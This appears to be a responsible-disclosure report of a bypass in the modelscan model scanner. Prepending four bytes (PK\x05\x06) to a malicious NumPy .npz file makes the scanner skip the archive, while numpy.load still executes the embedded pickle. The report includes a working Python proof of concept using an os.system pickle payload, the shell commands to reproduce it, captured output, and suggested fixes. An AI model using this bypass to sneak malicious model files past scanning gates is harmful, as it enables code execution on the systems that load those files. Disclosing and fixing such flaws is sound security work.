YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
- modelscan
.npzcontainer-magic desync β malicious NpzFile with leadingPK\x05\x06(EOCD) bypasses scanning whilenumpy.loadexecutes the member pickle- Summary
- Root cause (with code)
- Proof of Concept
- Captured evidence (verbatim, this machine)
- Magic bytes / detector divergence
- CONTROL β plain malicious.npz is correctly flagged (numpy 1.26.4)
- BYPASS β prefixed file scans clean
- LOADER β numpy executes the pickle on the SAME modelscan-clean file
- Independent re-verification (fresh dir, different trigger
id, member renamedw, separate load process)
- Impact
- Suggested fix
- Dedup / prior-art note
- Summary
modelscan .npz container-magic desync β malicious NpzFile with leading PK\x05\x06 (EOCD) bypasses scanning while numpy.load executes the member pickle
Target: modelscan (Protect AI) β https://github.com/protectai/modelscan
Version tested: modelscan==0.8.8 (latest), numpy==1.26.4, Python 3.12.13
Class: Scanner bypass / detection evasion β arbitrary code execution on np.load(..., allow_pickle=True)
Severity: High (a file modelscan reports as clean executes attacker-controlled os.system when a downstream consumer loads it with NumPy)
Summary
modelscan scans .npz archives by recursing into them as ZIP containers. That recursion is
gated by a stricter-than-standard ZIP detector (_is_zipfile) inherited from torch, which
returns True only when the file's first 4 bytes are exactly the ZIP local-file-header
magic PK\x03\x04.
numpy.load, by contrast, routes a file into NpzFile when the leading bytes match either
the local-header prefix PK\x03\x04 or the End-Of-Central-Directory / empty-archive
signature PK\x05\x06. Python's zipfile then tolerates a prepended prefix (it finds the EOCD
by scanning backward from EOF and compensates member offsets accordingly).
Prepending the 4 bytes PK\x05\x06 to an otherwise ordinary malicious .npz therefore
creates a file that:
- modelscan sees as not a zip β
_iterate_modelsdoescontinue, never opens the archive, never hands any member to the NumPy scanner. The.npzcontainer itself has no assigned format (settings maps only.npyβNUMPY), so it is merely recorded as a benignSCAN_NOT_SUPPORTEDskip β "No issues found! π", 0 issues, 0 errors, 0 scanned. - numpy still recognizes as a valid zip β
zipfileparses it (prefix handled) βnp.load(...)['config']read_arrays the object-dtype member and runspickle.loadβ the embeddedos.systemreduce fires β code execution.
The file is a fully valid archive: zipfile.ZipFile(...).testzip() returns None.
Root cause (with code)
1. .npz has no top-level format β the only way it gets scanned is ZIP recursion
modelscan/settings.py:
NUMPY = Property("NUMPY", "numpy")
...
"supported_zip_extensions": [".zip", ".npz"], # .npz treated as a zip container...
...
SupportedModelFormats.NUMPY: [".npy"], # ...but NUMPY format maps ONLY to .npy
A top-level .npz is never assigned the NUMPY format. The only path to scanning its members
is the ZIP recursion in _iterate_models.
2. The ZIP recursion is gated on the strict _is_zipfile
modelscan/modelscan.py (_iterate_models):
if not _is_zipfile(file, model.get_stream()):
continue # <-- not "a zip" => skip entirely, never recurse
try:
with zipfile.ZipFile(model.get_stream(), "r") as zip:
...
3. _is_zipfile only accepts an exact PK\x03\x04 prefix
modelscan/tools/utils.py:
def _is_zipfile(source, data=None) -> bool:
# This is a stricter implementation than zipfile.is_zipfile().
...
read_bytes = [] # reads first 4 bytes
...
local_header_magic_number = [b"P", b"K", b"\x03", b"\x04"]
return read_bytes == local_header_magic_number
With a leading PK\x05\x06, read_bytes == [b'P', b'K', b'\x05', b'\x06'] != [b'P',b'K',b'\x03',b'\x04']
β returns False β continue β the archive is never opened.
4. numpy routes the same file into NpzFile and executes the member
numpy/lib/npyio.py (np.load) accepts either zip signature:
_ZIP_PREFIX = b'PK\x03\x04'
_ZIP_SUFFIX = b'PK\x05\x06' # empty-archive / EOCD marker
...
if magic.startswith(_ZIP_PREFIX) or magic.startswith(_ZIP_SUFFIX):
# -> NpzFile -> zipfile.ZipFile (tolerates the 4-byte prefix) -> read_array -> pickle.load
Net effect: modelscan's _is_zipfile is too strict and routes a genuinely-malicious zip
away from scanning; numpy's loader is more lenient and executes it. A 4-byte prefix
flips a CRITICAL detection to a silent clean pass.
Proof of Concept
import numpy as np, os
class Evil:
def __reduce__(self):
return (os.system, ("echo PWNED_NPZ_SUFFIX > proof.txt",))
# 1) Ordinary malicious npz: object-array member 'config.npy', first bytes PK\x03\x04
np.savez('malicious.npz', config=np.array([Evil()], dtype=object))
# 2) Prepend the 4-byte EOCD signature PK\x05\x06 -> first 4 bytes become PK\x05\x06
open('pre_pk0506.npz', 'wb').write(b'PK\x05\x06' + open('malicious.npz', 'rb').read())
malicious.npzβ normal, memberconfig.npy, first 8 bytesPK\x03\x04-\x00\x00\x00.pre_pk0506.npzβ same content with a 4-bytePK\x05\x06prefix; still a valid zip (zipfile.ZipFile('pre_pk0506.npz').testzip()βNone).
Then:
modelscan -p malicious.npz # CONTROL -> Total Issues: 1 (CRITICAL)
modelscan -p pre_pk0506.npz # BYPASS -> No issues found! π (0 issues / 0 scanned)
python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']" # -> executes
Files included: malicious.npz, pre_pk0506.npz, out.json (bypass JSON report),
reverify/ (independent re-verification with a different trigger/member name).
Captured evidence (verbatim, this machine)
Magic bytes / detector divergence
malicious first8 b'PK\x03\x04-\x00\x00\x00'
pre_pk0506 first8 b'PK\x05\x06PK\x03\x04'
_is_zipfile malicious True
_is_zipfile pre_pk0506 False
zipfile testzip pre_pk0506 None # <-- archive is fully valid
CONTROL β plain malicious.npz is correctly flagged (numpy 1.26.4)
$ modelscan -p malicious.npz
Scanning .../malicious.npz:config.npy using modelscan.scanners.NumpyUnsafeOpScan model scan
Total Issues: 1
- CRITICAL: 1
Unsafe operator found:
- Severity: CRITICAL
- Description: Use of unsafe operator 'system' from module 'posix'
- Source: .../malicious.npz:config.npy
BYPASS β prefixed file scans clean
$ modelscan -p pre_pk0506.npz
No issues found! π
Total skipped: 1 - run with --show-skipped to see the full list.
$ modelscan -p pre_pk0506.npz -r json -o out.json
{"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0},
"total_issues": 0, "input_path": "pre_pk0506.npz", "modelscan_version": "0.8.8",
"scanned": {"total_scanned": 0}}, "issues": [], "errors": []}
LOADER β numpy executes the pickle on the SAME modelscan-clean file
$ python -c "import numpy as np; np.load('pre_pk0506.npz', allow_pickle=True)['config']"
$ cat proof.txt
PWNED_NPZ_SUFFIX <-- attacker command executed
Independent re-verification (fresh dir, different trigger id, member renamed w, separate load process)
evil.npz first4 b'PK\x05\x06'
$ modelscan -p evil.npz
No issues found! π
Total skipped: 1
$ python -c "import numpy as np; np.load('evil.npz', allow_pickle=True)['w']"
$ cat INDEP_PROOF.txt
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),... <-- executed under modelscan-CLEAN file
Impact
Any pipeline that uses modelscan as a gate before loading NumPy archives (a common
"scan-then-load" model-supply-chain pattern) can be defeated by a 4-byte prefix. The scanned
artifact reports zero issues yet runs arbitrary attacker code the moment a consumer calls
np.load(path, allow_pickle=True) (or any loader that resolves an object-dtype .npz member).
No member renaming, no header manipulation, no special filename β the legitimate member name
config.npy is preserved; only the container's leading 4 bytes change.
Suggested fix
- Assign the NUMPY format to
.npzdirectly (scan.npzas a NumPy archive regardless of the ZIP-recursion gate), or - Relax
_is_zipfilefor archive scanning to accept thePK\x05\x06(andPK\x07\x08) leading signatures, or fall back tozipfile.is_zipfile()/ an EOCD-based check so the recursion gate matches what real ZIP/NumPy loaders accept, and - Treat a file that
zipfilecan open but that_is_zipfilerejected as an error/warning rather than a silent skip, so a container that "can't be a zip" but is loadable as one is surfaced.
Dedup / prior-art note
Distinct from the two other filed numpyβmodelscan divergences:
- NOT the
.npyoversized-header (max_header_size) divergence β no header-size trick here. - NOT the inner-member extension-routing bypass (which renames the member off
.npy). Here the member keeps its legitimate name (config.npy/w) and modelscan is defeated one layer earlier, at the container-level ZIP-recursion gate, before any member is enumerated.
Also the inverse direction of the prior picklescan/fickling EOCD-trailer findings: those
exploit is_zipfile being too lenient to route a pickle into a memberless zip scanner
(and explicitly note modelscan is robust to that). Here modelscan's _is_zipfile is too strict
and routes a genuinely-malicious zip away from scanning, while the more-lenient numpy loader
executes it.
Note on numpy versions: this PoC pins numpy==1.26.4 so modelscan's NumPy scanner is functional
and the CONTROL genuinely flags the plain file. On numpy>=2.4 modelscan's scan_numpy is
separately broken (removal of numpy.lib.format._check_version), which independently yields
0 issues β that is a different defect and is not what this report relies on.